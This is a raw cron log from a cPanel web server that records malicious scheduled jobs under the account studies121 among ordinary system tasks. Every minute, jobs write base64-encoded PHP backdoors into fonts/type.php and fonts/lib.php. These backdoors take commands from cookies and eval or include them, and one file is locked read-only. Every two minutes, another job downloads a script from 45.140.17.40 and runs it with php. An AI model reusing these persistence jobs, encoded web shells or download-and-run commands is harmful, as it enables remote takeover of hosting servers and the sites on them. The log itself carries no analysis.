Sep 21 18:59:02 ip-184-168-122-23 CROND[32366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:00:01 ip-184-168-122-23 CROND[32483]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 19:00:01 ip-184-168-122-23 CROND[32486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:00:01 ip-184-168-122-23 CROND[32490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:00:01 ip-184-168-122-23 CROND[32489]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 19:00:01 ip-184-168-122-23 CROND[32491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 19:00:01 ip-184-168-122-23 CROND[32488]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:00:01 ip-184-168-122-23 CROND[32494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:00:01 ip-184-168-122-23 CROND[32492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:01:01 ip-184-168-122-23 CROND[32610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:01:01 ip-184-168-122-23 CROND[32611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:01:01 ip-184-168-122-23 CROND[32612]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 19:01:01 ip-184-168-122-23 CROND[32613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:01:01 ip-184-168-122-23 CROND[32619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:01:01 ip-184-168-122-23 CROND[32617]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32617]: starting 0anacron
Sep 21 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32632]: finished 0anacron
Sep 21 19:02:01 ip-184-168-122-23 CROND[336]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:02:01 ip-184-168-122-23 CROND[337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:02:01 ip-184-168-122-23 CROND[340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:02:01 ip-184-168-122-23 CROND[343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:02:01 ip-184-168-122-23 CROND[344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:03:01 ip-184-168-122-23 CROND[429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:03:01 ip-184-168-122-23 CROND[431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:03:01 ip-184-168-122-23 CROND[432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:03:01 ip-184-168-122-23 CROND[434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:04:01 ip-184-168-122-23 CROND[519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:04:01 ip-184-168-122-23 CROND[521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:04:01 ip-184-168-122-23 CROND[523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:04:01 ip-184-168-122-23 CROND[522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:04:01 ip-184-168-122-23 CROND[524]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:05:01 ip-184-168-122-23 CROND[821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 19:05:01 ip-184-168-122-23 CROND[825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:05:01 ip-184-168-122-23 CROND[823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:05:01 ip-184-168-122-23 CROND[826]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 19:05:01 ip-184-168-122-23 CROND[824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:05:01 ip-184-168-122-23 CROND[828]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 19:05:01 ip-184-168-122-23 CROND[827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:06:01 ip-184-168-122-23 CROND[942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:06:01 ip-184-168-122-23 CROND[945]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:06:01 ip-184-168-122-23 CROND[944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:06:01 ip-184-168-122-23 CROND[946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:06:01 ip-184-168-122-23 CROND[947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:07:01 ip-184-168-122-23 CROND[1032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:07:01 ip-184-168-122-23 CROND[1035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:07:01 ip-184-168-122-23 CROND[1033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:07:01 ip-184-168-122-23 CROND[1036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:08:01 ip-184-168-122-23 CROND[1127]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:08:01 ip-184-168-122-23 CROND[1129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:08:01 ip-184-168-122-23 CROND[1130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:08:01 ip-184-168-122-23 CROND[1131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:08:01 ip-184-168-122-23 CROND[1132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:09:01 ip-184-168-122-23 CROND[1214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:09:01 ip-184-168-122-23 CROND[1217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:09:01 ip-184-168-122-23 CROND[1220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:09:01 ip-184-168-122-23 CROND[1219]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 19:09:01 ip-184-168-122-23 CROND[1222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:10:02 ip-184-168-122-23 CROND[1325]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 19:10:02 ip-184-168-122-23 CROND[1329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:10:02 ip-184-168-122-23 CROND[1327]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:10:02 ip-184-168-122-23 CROND[1328]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 19:10:02 ip-184-168-122-23 CROND[1331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:10:02 ip-184-168-122-23 CROND[1333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:10:02 ip-184-168-122-23 CROND[1330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:10:02 ip-184-168-122-23 CROND[1332]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 19:11:01 ip-184-168-122-23 CROND[1444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:11:01 ip-184-168-122-23 CROND[1447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
